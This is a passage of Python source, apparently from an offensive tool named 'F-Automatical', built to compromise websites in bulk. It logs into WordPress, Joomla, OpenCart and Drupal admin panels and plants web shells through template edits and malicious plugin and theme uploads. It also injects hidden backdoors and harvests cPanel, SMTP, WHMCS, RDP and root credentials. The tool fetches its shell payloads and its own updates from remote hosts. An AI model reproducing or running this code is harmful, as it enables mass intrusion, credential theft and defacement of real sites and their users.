cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45) + check_UP = requestG_Fox('{}/administrator/templates/hathor/error.php'.format(domain), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/administrator/templates/hathor/error.php'.format(domain) + elif ('error.css' in hathor and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)): + rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)[0] + edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '504', 'jform[filename]': '/error.php'} + try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&task=source.edit&id=NTA0OmVycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60) + except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&task=source.edit&id=NTA0OmVycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45) + check_UP = requestG_Fox('{}/administrator/templates/hathor/error.php'.format(domain), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/administrator/templates/hathor/error.php'.format(domain) + return 'F' + except: + return 'F' + +def ocmod_Fox(domain, cookies, login) : + try: + token_Fox = re.findall(re.compile('token=(.*)" class="navbar-brand">'), login)[0] + if ('&user_token' in login): upload_url_Fox = "{}/admin/index.php?route=marketplace/installer/upload&user_token={}".format(domain, token_Fox) + else: upload_url_Fox = "{}/admin/index.php?route=marketplace/installer/upload&token={}".format(domain, token_Fox) + fileup_Fox = {'file': ('rsz.ocmod.zip', open('Files/rsz.ocmod.zip', 'rb'), 'application/x-zip-compressed')} + try: up_Fox = content_Fox(cookies.post(upload_url_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=60)) + except: up_Fox = content_Fox(cookies.post(upload_url_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=45)) + ID_oc = re.findall(re.compile('extension_install_id=(.*)"}'), up_Fox)[0] + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/install'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/install'), ID_oc), verify=False, headers=headers1, timeout=10) + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/unzip'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/unzip'), ID_oc), verify=False, headers=headers1, timeout=10) + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/move'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/move'), ID_oc), verify=False, headers=headers1, timeout=10) + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/xml'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/xml'), ID_oc), verify=False, headers=headers1, timeout=10) + try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/remove'), ID_oc), verify=False, headers=headers1, timeout=15) + except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/remove'), ID_oc), verify=False, headers=headers1, timeout=10) + check_UP = requestG_Fox('{}/admin/controller/extension/extension/daDTLv3YPn6.php'.format(domain), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/admin/controller/extension/extension/daDTLv3YPn6.php'.format(domain) + return 'F' + except: + return 'F' + +def adminimal_Fox(url, cookies) : + try: + try: getdata = content_Fox(cookies.get('{}/admin/appearance/install'.format(url), headers=headers1, verify=False, timeout=15)) + except: getdata = content_Fox(cookies.get('{}/admin/appearance/install'.format(url), headers=headers1, verify=False, timeout=10)) + form_build_id_Fox = re.findall(re.compile('type="hidden" name="form_build_id" value="(.*)" />'), getdata)[0] + form_token_Fox = re.findall(re.compile('type="hidden" name="form_token" value="(.*)" />'), getdata)[0] + fileup_Fox = {'files[project_upload]': ('adminimal_theme-7.x-1.25.zip', open('Files/adminimal_theme-7.x-1.25.zip', 'rb'), 'multipart/form-data')} + filedata_Fox = {'form_build_id': form_build_id_Fox, 'form_id': 'update_manager_install_form', 'form_token': form_token_Fox, 'op': 'Install', 'project_url': ''} + try: up_Fox = content_Fox(cookies.post('{}/admin/appearance/install'.format(url), headers=headers1, data=filedata_Fox, files=fileup_Fox, verify=False, timeout=90)) + except: up_Fox = content_Fox(cookies.post('{}/admin/appearance/install'.format(url), headers=headers1, data=filedata_Fox, files=fileup_Fox, verify=False, timeout=60)) + ID_dp = re.findall(re.compile('id=(.*)&'), up_Fox)[0] + try: install_Fox = cookies.get('{}/authorize.php?batch=1&op=start&id={}'.format(url, ID_dp), headers=headers1, verify=False, timeout=45) + except: install_Fox = cookies.get('{}/authorize.php?batch=1&op=start&id={}'.format(url, ID_dp), headers=headers1, verify=False, timeout=30) + check_UP = requestG_Fox('{}/sites/all/themes/adminimal_theme/uqPfX5TiZbY.php'.format(url), 1, headers1) + if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/sites/all/themes/adminimal_theme/uqPfX5TiZbY.php'.format(url) + return 'F' + except: + return 'F' + +def WP_Login_UPer(url, username, password): + try: + while (url[-1] == '/'): url = url[:-1] + print (' {}[L] {} {}[WordPress]'.format(fw, url, fg)) + print (' {}[U] {}'.format(fw, username)) + print (' {}[P] {}'.format(fw, password)) + reqFox = requests.session() + headersLogin = {'Connection': 'keep-alive', + 'Cache-Control': 'max-age=0', + 'Upgrade-Insecure-Requests': '1', + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', + 'Accept-Encoding': 'gzip, deflate', + 'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8', + 'referer': '{}/wp-admin/'.format(url)} + loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '{}/wp-admin/'.format(url)} + try: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15) + except: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=5) + if (URL_FOX(login_Fox.url) != URL_FOX(url)): + url = URL_P(login_Fox.url) + reqFox = requests.session() + loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '{}/wp-admin/'.format(url)} + try: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15) + except: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=10) + login_Fox = content_Fox(login_Fox) + if ('profile/login' in login_Fox): + id_wp = re.findall(re.compile('type="hidden" name="force_redirect_uri-(.*)" id='), login_Fox)[0] + myuserpro = re.findall(re.compile('name="_myuserpro_nonce" value="(.*)" />Working' in content_Fox(response)): + break + except : + pass + return argument1 + except : + return False + + +def fileDownloader(argument1,argument2,argument3,chunk_size = 128): + try : + if ('.zip' in argument3): + timeout = 180 + else: + timeout = 45 + headers1['REFERER']='fcs.is' + response=requests.post('http://{}/download.php'.format(argument1), data ={'ID': argument2}, stream = True, headers =headers1, timeout = timeout) + del headers1['REFERER'] + with open('Files/{}'.format(argument3),'wb') as file: + for content in response.iter_content( chunk_size = chunk_size ): + file.write(content) + return True + except : + return False + +def checkFile(name): + try: + if (sys.version_info[0] < 3): src = str(open('Files/{}'.format(name), 'rb').read()) + else: src = str(open('Files/{}'.format(name), 'rb').read().decode('cp866')) + if ('\r' in src): src = src.replace('\r', '') + if('\n' not in src and src.strip() != '')): return True + return False + except: + return False + +def getFile(arg1,arg2): + global backdoor1 + try : + if ( not os.path.exists(r"Files")): + os.makedirs(r"Files") + for item in backdoor1: + temp=fileDownloader(item,arg2,arg1) + if (temp is False): + continue + if (checkFile(arg1) is True): + break + return True + except Exception as E: + print(E) + return False + +def mylist(): + try: + try: + target = open(sys.argv[1], 'r') + return target + except : + yList = str(input_Fox(' Your List --> : ')) + if (not os.path.isfile(yList) and '.txt' not in yList): + yList = '{}.txt'.format(yList) + while (not os.path.isfile(yList)): + print("\n {}({}) File does not exist, You have to put your list in the same folder.\n".format(fr, yList)) + yList = str(input_Fox(' Your List --> : ')) + target = open(yList, 'r') + return target + except: + return False + +def updateCheck(): + try : + domains=['ufox.co', 'ufox.bz'] + for domain in domains: + try : + response=content_Fox(requests.get('http://{}/info/update-FAv8.txt'.format(domain), headers = headers1, verify = False, timeout = 15)) + if (re.findall(re.compile('\'version\': \'(.*)\''), response)): + break + except : + pass + response2=re.findall(re.compile('\'version\': \'(.*)\''), response)[0] + if(response2.strip() == '8'): + return False + sys.stdout.write(' {}[*] Updating '.format(fw)); + waiting(); + print('') + try : + response3=content_Fox(requests.get('http://{}/FA/{}.py'.format(domain,response2), stream = True, headers =headers1, timeout = 60)) + except: + response3=content_Fox(requests.get('http://{}/FA/{}.py'.format(domain,response2), stream = True, headers =headers1, timeout = 120)) + open(os.path.basename( __file__ ),'wb').write(str(response3).encode('utf8')) + print(' {}[+] Updated Successfully.'.format(fg)) + input_Fox('\n {}[!] {}Please restart program.\n'.format(fr,flc)) + return True + except : + return False + +def Option20(sites, tyUP, srcShell, tyShell, q): + global backdoor2 + try: + for site in sites: + try: + url = str(site.strip()) + print(' --| {}{}'.format(fc, url)) + newBackdoor = file_UPloader_ALL(url, 1) + if (newBackdoor is False): + print('') + continue + else: + newBackdoor = check(newBackdoor) + open('Results/F-backdoors.txt', 'a').write('{}?action={}\n'.format(newBackdoor, backdoor2)) + if (tyUP == 1): file_UPloader(newBackdoor, srcShell, tyShell, q) + elif (tyUP == 2): file_Main_UPloader(newBackdoor, srcShell, tyShell, q) + print('') + except: + print(' {}[-] Failed.\n'.format(fr)) + except: + pass + +def Option29(sites, srcShell, tyShell, q): + global backdoor2 + try: + logins = [] + wp = 0 + jm = 0 + oc = 0 + dp = 0 + if (not re.findall(re.compile('http(.*)/(.*)#(.*)@(.*)'), sites.read())): + print(' {}[-] The list must be => {}http://domain.com/wp-login.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)) + print(' {} OR {}http://domain.com/administrator/index.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)) + print(' {} OR {}http://domain.com/admin/index.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)) + print(' {} OR {}http://domain.com/user/login#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)) + return + sites = open(sites.name, 'r') + for site in sites: + panel = str(site.strip()) + if ('/wp-login.php' in panel) : wp = 1; logins.append(panel) + elif ('/administrator' in panel) : jm = 1; logins.append(panel) + elif ('/admin' in panel) : oc = 1; logins.append(panel) + elif ('/user' in panel) : dp = 1; logins.append(panel) + shells = UPer_SH_by_Panels(logins, wp, jm, oc, dp, srcShell, tyShell) + if (q.lower() == 'y' or q.lower() == 'yes') : + if (shells is False) : return + else : + for shell in shells : + try : + print(' --| {}{}'.format(fc, URL_FOX(shell))) + newShell = check(shell) + resetPwdA_Fox(newShell, '{}?action={}\n'.format(newShell, backdoor2)) + SMTPs(newShell) + except : + print(' {}[-] Failed.'.format(fr)) + print('') + except: + pass + +def Option30(sites, srcShell, tyShell, q): + global backdoor2 + try: + logins = [] + shells = [] + if (not re.findall(re.compile('http(.*)/(.*)#(.*)@(.*)'), sites.read())): print(' {}[-] The list must be => {}http://domain.com/wp-login.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)); return + sites = open(sites.name, 'r') + for site in sites: + panel = str(site.strip()) + if ('/wp-login.php' in panel) : logins.append(panel) + if(not logins): print(' {}[-] The list must be => {}http://domain.com/wp-login.php#{}user{}@{}pass\n'.format(fr, fg, fr, fg, fr)); return + for login in logins: + try: + data = data_PL_Filter(login) + if(data is False): continue + print (' {}[L] {} {}[WordPress]'.format(fw, URL_P(login), fg)) + print (' {}[U] {}'.format(fw, data[0])) + print (' {}[P] {}'.format(fw, data[1])) + newShell = wp_selenium(URL_P(login), data[0], data[1]) + if(newShell is False): print(' {}[-] Login/Upload Failed.\n'.format(fr)) + else: + print(' {}[+] Login Succeeded.'.format(fg)) + newShell = check(newShell) + shells.append(newShell) + open('Results/F-backdoors.txt', 'a').write('{}?action={}\n'.format(newShell, backdoor2)) + file_UPloader(newShell, srcShell, tyShell, 1) + except: + pass + if ((q.lower() == 'y' or q.lower() == 'yes') and shells): + print('') + for shell in shells: + try: + print(' --| {}{}'.format(fc, URL_FOX(shell))) + newShell = check(shell) + resetPwdA_Fox(newShell, '{}?action={}\n'.format(newShell, backdoor2)) + SMTPs(newShell) + except: + print(' {}[-] Failed.'.format(fr)) + print('') + except: + pass + +def waiting(): + words = ['{}.'.format(fw), '.', '.', '.', '.', '.', ' {}(Waiting)'.format(fr)] + for word in words: + sys.stdout.write('{}'.format(word)) + sys.stdout.flush() + time.sleep(0.25) + print('') + +def sevedin(filename1, filename2 = '', filename3 = ''): + if(success1 == 1 and filename1 != ''): print (' {}[+] Saved in {}Results/{}'.format(fg, fr, filename1)) + if(success2 == 1 and filename2 != ''): print (' {}[+] Saved in {}Results/{}'.format(fg, fr, filename2)) + if(success3 == 1 and filename3 != ''): print (' {}[+] Saved in {}Results/{}'.format(fg, fr, filename3)) + if(success1 == 1 or success2 == 1 or success3 == 1): print('') + +def whmcs_ex(backdoor, shell): + try: + sys.stdout.write(' {}[*] WHMCS exploit '.format(fw)); waiting() + if(not whmcsS): + print(' {}[-] Not Found WHMCS.'.format(fr)) + return False + newpath = r'Results/WHMCS' + if (not os.path.exists(newpath)): os.makedirs(newpath) + for whmcs in whmcsS: + try: + saveTxt = '' + post_w = {'action': 'whmcs', 'url': whmcs, 'typ': '1'} + w_Ex = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_w, headers2) + w_Ex = HTML_cleaner(w_Ex) + if('Nothing Found !' in w_Ex): + print (' {} - {}{}{} [Nothing Found]'.format(fr, fw, whmcs, fr)) + continue + if ('w_srvs' in locals()): del w_srvs + if (re.findall(re.compile('(.*)(.*)(.*)(.*)(.*)(.*)(.*)'), w_Ex)): w_srvs = re.findall(re.compile('(.*)(.*)(.*)(.*)(.*)(.*)(.*)'), w_Ex) + else: + print (' {} - {}{}{} [Nothing Found]'.format(fr, fw, whmcs, fr)) + continue + print (' {} - {}{}{} [Succeed]'.format(fg, fw, whmcs, fg)) + conf = str(whmcs.split('/')[-1]) + if('.txt' in conf): conf = conf.split('.txt')[0] + saveTxt = '{}{}'.format(saveTxt, '{}\n{}\n\nServers :\n'.format(shell, whmcs)) + for whm in w_srvs: + typeP = whm[0]; active = whm[1]; host = whm[2]; ip = whm[3]; user = whm[4]; password = whm[5]; accesshash = whm[6] + if('\n' in accesshash): accesshash = accesshash.replace('\n', '') + saveTxt = '{}{}'.format(saveTxt, 'Type: {}\nActive: {}\nHostname: {}\nIP-Address: {}\nUsername: {}\nPassword: {}\nAccesshash: {}\n------------------------------------------------\n'.format(typeP, active, host, ip, user, password, accesshash)) + post_w = {'action': 'whmcs', 'url': whmcs, 'typ': '2'} + w_Ex = requestP_Fox('{}?action={}'.format(backdoor, en('{}/{}V{}/c'.format(dom, to, version))), 1, post_w, headers2) + w_Ex = HTML_cleaner(w_Ex) + if (re.findall(re.compile('(.*)(.*)(.*)(.*)(.*)'), w_Ex)): + w_roots = re.findall(re.compile('(.*)(.*)(.*)(.*)(.*)'), w_Ex) + saveTxt = '{}{}'.format(saveTxt,'\n\n\nOther Servers/RDPs :\n'.format(shell, whmcs)) + for rootv in w_roots: + saveTxt = '{}{}'.format(saveTxt, 'Domain: {}\nIP-Address: {}\nUsername: {}\nPassword: {}\nStatus: {}\n------------------------------------------------\n'.format(rootv[0], rootv[1], rootv[2], rootv[3], rootv[4])) + open('Results/WHMCS/{}-{}.txt'.format(domain_Fox(backdoor), conf), 'w').write(saveTxt) + print (' {}[+] Saved in {}Results/WHMCS/{}-{}.txt'.format(fg, fr, domain_Fox(backdoor), conf)) + except: + pass + except: + print (' {}[-] Failed.'.format(fr)) + +def F(): + try: + global success1, success2, success3 + success1, success2, success3 = 0, 0, 0 + pwd = os.getcwd() + if ('\\' in pwd): pwd = pwd.replace('\\', '/') + tfolder = pwd.split('/')[-1] + if (updateCheck() is True): return + if (Conditions() is False): return + log() + news() + if (getinfoFox() is False): return + if (shellFox() is False): return + yList = mylist() + print('\n {}[{}#{}] {}F{}-Automatical {}v8 {}:-'.format(fw, fr, fw, fy, fw, fg, fw)) + print('\n {}If your list is [{}Shells{}/{}UPloaders{}] choose from 1-22:'.format(fc, fg, fw, fg, fc)) + print(' [01] {}Mass Reset Passowrd {}cPanel'.format(fw, fr)) + print(' [02] {}Mass Finder SMTP {}+{} Create SMTP'.format(fw, fg, fw)) + print(' {}[{}03{}] Mass Info {}OS{}/{}Hosting{}/{}Conuntry{}, {}cPanel{}/vHosts/Root {}[PWD|UNAME]'.format(fw, flg, fw, fg, fw, fg, fw, fg, fw, fr, fw, fr)) + print(" [04] {}Mass Finder AccessHash {}Reseller {}+{} .my.cnf {}cPanel".format(fw, fr, fg, fw, fr)) + print(" [05] {}Mass Get Config ({}cPanel{}/vHosts) server {}+{} Config{}404 {}+{} Config{}CFS".format(fw, fr, fw, fg, fw, fr, fg, fw, fg)) + print(" {}[{}06{}] Mass Get Config {}+ {}Crack {}cPanel{}/{}WHM {}+ {}WHM{}C{}S{} checker {}[DEV]".format(fw, flg, fw, fg, fw, fr, fw, fc, fg, fw, flg, flb, fw, flg)) + print(' [07] {}Mass Get Config {}+{} Upload Shell on {}WordPress{}/{}Joomla{}/{}Opencart'.format(fw, fg, fw, fg, fw, fr, fw, fc)) + print(' [08] {}Mass Get {}Root{} by {}./dirty [PHP/BASH]'.format(fw, fg, fw, fr)) + print(' [09] {}Mass Get {}RDP{} from {}Windows {}server'.format(fw, fg, fw, fr, fw)) + print(" [10] {}Mass Get Domains-List".format(fw)) + print(" [11] {}Mass Get Emails-List".format(fw)) + print(" [12] {}Mass Get Config {}+ {}Emails-List".format(fw, fg, fw)) + print(' [13] {}Mass Upload Mailer {}[Random]'.format(fw, fr)) + print(' [14] {}Mass Upload File {}[Random]'.format(fw, fr)) + print(' [15] {}Mass Upload Index {}+{} Post in {}Zone-h'.format(fw, fg, fw, fr)) + print(' [16] {}Mass Upload {}Page{}/{}Zip-file {}+{} UNZip file'.format(fw, fg, fw, fr, fg, fw)) + print(" {}[17] Mass Upload/injection backdoor".format(fw)) + print(" [18] {}Mass Chack if Sending mail is Working or not! {}[Results delivery]".format(fw, fr)) + print(' [19] {}Mass Reports replacement {}[Accepted at all Shops]'.format(fw, fg)) + print(" {}[{}20{}] {}From any{} Shell/UPloader, MASS Upload File {}Shell{}/{}Mailer".format(fw, fg, fw, fg, fw, fg, fw, fr)) + print(' [21] {}Reset Passowrd {}cPanel {}+{} Finder/Create SMTP {}[together]'.format(fw, fr, fg, fw, fr)) + print(' [22] {}01 {}+{} 02 {}+{} 04 {}+{} 06 {}+{} 08 {}[All of them together]'.format(fw, fg, fw, fg, fw, fg, fw, fg, fw, fr)) + time.sleep(1) + print('\n {}elseif your list is [{}cPanels{}] choose from 23-28:'.format(fc, fr, fc)) + print(' [23] {}Mass Finder SMTP {}+{} Create SMTP'.format(fw, fg, fw)) + print(" [24] {}MASS Upload File [{}Shell{}/{}Mailer{}/{}Other{}]".format(fw, fr, fw, fg, fw, fc, fw)) + print(" {}[25] Mass Upload/injection backdoor".format(fw)) + print(' [26] {}Mass Upload {}Page{}/{}Zip-file {}+{} UNZip'.format(fw, fg, fw, fr, fg, fw)) + print(" [27] {}Mass Chack if Sending mail is Working or not! {}[Results delivery]".format(fw, fr)) + print(' [28] {}Mass Reports replacement {}[Accepted at all Shops]'.format(fw, fg)) + time.sleep(1) + print('\n {}elseif your list is [{}Wordpress{}/{}Joomla{}/{}Opencart{}/{}Drupal{}] panels choose 29/30:'.format(fc, fg, fw, fr, fw, fc, fw, fr, fc)) + print(" [29] {}Mass login {}Wordpress{}/{}Joomla{}/{}Opencart{}/{}Drupal{} panel {}+{} UPload Shell".format(fw, fg, fw, fr, fw, fc, fw, fr, fw, fg, fw)) + print(' {}[{}30{}] Mass login {}WordPress{} and UPload Shell by Selenium {}[Chrome Driver] {}[NEW]'.format(fw, flg, fw, fg, fw, fr, flg)) + time.sleep(1) + print('\n {}else:'.format(fc)) + print(" {}[{}31{}] About [{}F{}-Automatical].".format(fw, fg, fw, fy, fw)) + print(" {}[{}00{}] {}Exit.".format(fw, fr, fw, fr)) + try: + w = int(input_Fox('\n --> : ')) + except: w = -1 + while(w == -1 or w > 31): + print("\n {}Choose from {}0{} to {}31{}, please.".format(fr, fc, fr, fc, fr)) + try: w = int(input_Fox('\n --> : ')) + except: w = -1 + print('') + if (w == 0): print(" {}I LOVE U, See u <3\n".format(fr)); return + if (w == 31): about(); return + ps = {1: ['cPanels_Reseted.txt', 'Try_Rest_cPanel_Semi_Automatic.txt', ''], + 2: ['SMTPs.txt', 'SMTPs_Created.txt', ''], + 3: ['info_servers.txt', 'Windows_servers.txt', 'cPanel_servers.txt'], + 4: ['accesshash.txt', 'mycnf.txt', ''], + 5: ['Configs.txt', '', ''], + 6: ['Configs.txt', 'cPanels_Cracked.txt', 'WHM_Resellers_Cracked.txt'], + 8: ['ROOTs.txt', '', ''], + 9: ['RDPs.txt', '', ''], + 13: ['Leaf_PHP_Mailers.txt', '', ''], + 15: ['indexS.txt', '', ''], + 16: ['Pages.txt', '', ''], + 17: ['Injected_backdoors.txt', 'backdoors/0.0-ALL-backdoors.txt', ''], + 18: ['SendingMail_Work.txt', 'SendingMail_NotWork.txt', ''], + 19: ['Reports_of_Shells.txt', 'Form_reports_of_Shells.txt', ''], + 23: ['SMTPs.txt', 'SMTPs_Created.txt', ''], + 25: ['Injected_backdoors.txt', '', ''], + 26: ['Pages.txt', '', ''], + 27: ['SendingMail_Work.txt', 'SendingMail_NotWork.txt', ''], + 28: ['Reports_of_cPanels.txt', 'Form_reports_of_cPanels.txt', '']} + newpath = r'Results' + if (not os.path.exists(newpath)): os.makedirs(newpath) + if (w == 1) : + print(' {}[{}?{}] {}Choose the procedure that suits you.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Automatic. {}[Default]'.format(fw, fg)) + print(' [2] {}Semi-Automatic.'.format(fw)) + try: tyRest = int(input_Fox('\n --> : ')) + except: tyRest = 1 + print('') + if (tyRest != 1 and tyRest != 2): tyRest = 1 + elif (tyRest == 2): + email = str(input_Fox(' Your Email --> : ')) + print('') + if (w == 19 or w == 28) : + print(' {}[{}?{}] {}Choose the procedure that suits you.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Automatic. {}[With Proofs]'.format(fw, fg)) + print(' [2] {}Semi-Automatic. {}[Just Check & Form]'.format(fw, fr)) + try: tyReport = int(input_Fox('\n --> : ')) + except: tyReport = 1 + print('') + getFile('uz.txt', '27889355342417160') + if (tyReport != 1 and tyReport != 2): tyReport = 1 + elif (tyReport == 2): + email = str(input_Fox(' Your Email --> : ')) + print('') + q = str(input_Fox(' {}[{}?{}] {}Do you want Hidden uploader (?Ghost=send) in test.php ? {}[{}Y{}/{}N{}] : '.format(fw, fr, fw, fc, fw, fg,fw, fr, fw))) + print('') + if (q.lower() == 'y' or q.lower() == 'yes'): + getFile('t2.txt', '65509287018294347') + testSend = 't2' + else : + getFile('t1.txt', '06396548225704198') + testSend = 't1' + if (w == 13) : + q = str(input_Fox(' {}[{}?{}]{} Do you want the encrypted version? {}[{}Y{}/{}N{}] {}[Default: NO] {}: '.format(fw, fr, fw, fc, fw, fg, fw, fr, fw, fg, fw))) + if (q.lower() == 'y' or q.lower() == 'yes') : q = 1 + else : q = 0 + if (q == 0) : srcMailer = 'Files/m.txt'; getFile('m.txt', '71461093705682293') + elif (q == 1): srcMailer = 'Files/m-e.txt'; getFile('m-e.txt', '90983632861720155') + print('') + if (w == 15) : + nameF = str(input_Fox(' Your Index\'s name --> : ')) + while(not os.path.isfile(nameF)): + print("\n {}({}) File does not exist, You have to put your index in the same folder.\n".format(fr, nameF)) + nameF = str(input_Fox(' Your Index\'s name --> : ')) + print('\n {}[{}?{}] {}Choose what you want.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Index with the same name, like => {}http://domain.com/{}'.format(fw, fr, nameF)) + print(' [2] {}Index in the main index, like => {}http://domain.com/'.format(fw, fr)) + try : tyUP = int(input_Fox('\n --> : ')) + except: tyUP = 1 + if (tyUP != 1 and tyUP != 2) : tyUP = 1 + q = str(input_Fox('\n {}[{}?{}]{} Do you want post in Zone-h ? {}[{}Y{}/{}N{}] : '.format(fw, fr, fw, fc, fw, fg, fw, fr, fw))) + if (q.lower() == 'n' or q.lower() == 'no'): q = 0; nameA = '' + else: q = 1; nameA = str(input_Fox('\n Attacker name --> : ')) + print('') + if (w == 16 or w == 26): + print(' {}[{}!{}] {}You must put your file ({}.zip{}) in the same folder ({}{}{}).\n'.format(fw, fr, fw, fc, fg, fc, fg, tfolder, fc)) + filezip = str(input_Fox(' Your File\'s name (.zip) --> : ')) + while (not os.path.isfile(filezip)): + print("\n {}({}) File does not exist, You have to put your file in the same folder.\n".format(fr, filezip)) + filezip = str(input_Fox(' Your File\'s name (.zip) --> : ')) + print('') + if (w == 17 or w == 25): + print('\n {}[{}?{}] {}Choose what you want.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Injection a hidden uploader into one of the main website files.'.format(fw, fr)) + print(' [2] {}Uploading your backdoor on all website folders.'.format(fw, fr)) + try : tyPbk = int(input_Fox('\n --> : ')) + except: tyPbk = 1 + if(tyPbk == 2): + nameF = str(input_Fox('\n Your backdoor name (.php) --> : ')) + while (not os.path.isfile(nameF)): + print("\n {}({}) File does not exist, You have to put your backdoor in the same folder.\n".format(fr, nameF)) + nameF = str(input_Fox(' Your backdoor name (.php) --> : ')) + print('') + if (w ==18 or w == 27): getFile('t1.txt', '06396548225704198') + if (w == 7 or w == 14 or w == 20 or w == 24 or w == 29 or w == 30) : + if(w == 7): + print(' {}[{}?{}] {}Choose how to hack Panels.\n'.format(fw, fr, fw, fc)) + print(' [1] {}Changing password of old admin user. {}[Default]'.format(fw, fg)) + print(' [2] {}Adding a new admin user.'.format(fw)) + try : MSM = int(input_Fox('\n --> : ')) + except: MSM = 1 + if (MSM != 1 and MSM != 2) : MSM = 1 + if(MSM == 1): typeAc = 'ch' + else: typeAc = 'ad' + print('') + print(' {}[{}?{}] {}Choose what you want to upload it.\n'.format(fw, fr, fw, fc)) + print(' [1] {}F-Filemanager {}(WSO) {}[Accepted at all Shops]'.format(fw, fr, fg)) + print(' [2] {}Leaf PHP Mailer'.format(fw)) + print(' [3] {}Other file'.format(fr)) + try : tyShell = int(input_Fox('\n --> : ')) + except: tyShell = 0 + while (tyShell == 0 or tyShell > 3): + print("\n {}Choose from {}1{} to {}3{}, please.".format(fr, fc, fr, fc, fr)) + try: tyShell = int(input_Fox('\n --> : ')) + except: tyShell = 0 + if (tyShell == 2): + q = str(input_Fox('\n {}[{}?{}]{} Do you want the encrypted version? {}[{}Y{}/{}N{}] {}[Default: NO] {}: '.format(fw, fr, fw, fc, fw, fg, fw, fr, fw, fg, fw))) + if (q.lower() == 'y' or q.lower() == 'yes') : q = 1 + else: q = 0 + if (tyShell == 1) : srcShell = 'Files/fm.txt'; getFile('fm.txt', '12238904536496571') + elif (tyShell == 2 and q == 0) : srcShell = 'Files/m.txt'; getFile('m.txt', '71461093705682293') + elif (tyShell == 2 and q == 1): srcShell = 'Files/m-e.txt'; getFile('m-e.txt', '90983632861720155') + elif (tyShell == 3) : + print('\n {}[{}!{}] {}You must put your file in the same folder ({}{}{}).\n'.format(fw, fr, fw, fc, fg, tfolder, fc)) + nameF = str(input_Fox(' Your File\'s name --> : ')) + while(not os.path.isfile(nameF)): + print("\n {}({}) File does not exist, You have to put your file in the same folder.\n".format(fr, nameF)) + nameF = str(input_Fox(' Your File\'s name --> : ')) + srcShell = nameF + if (w == 14 or w == 20): + print('\n {}[{}?{}] {}Choose where do you want upload it.\n'.format(fw, fr, fw, fc)) + print(' [1] {}In the same path. {}[Default]'.format(fw, fg)) + print(' [2] {}In the main path.'.format(fw)) + try : tyUP = int(input_Fox('\n --> : ')) + except: tyUP = 1 + if (tyUP != 1 and tyUP != 2) : tyUP = 1 + if (w == 14 or w == 20 or w == 24): + if(tyShell == 3): + q = str(input_Fox('\n {}[{}?{}] {}Do you want upload your file with {}Random{} name ? {}[{}Y{}/{}N{}] : '.format(fw, fr, fw, fc, fr, fc, fw, fg, fw, fr, fw))) + if (q.lower() == 'n' or q.lower() == 'no') : q = 0 + else: q = 1 + else: q = 1 + if (w == 7 or w == 29 or w == 30): q = str(input_Fox('\n {}[{}?{}] {}Do you want to get (cPanel/SMTP) ? {}[{}Y{}/{}N{}] : '.format(fw, fr, fw, fc, fw, fg, fw, fr, fw))) + print('') + if(w == 20): Option20(yList, tyUP, 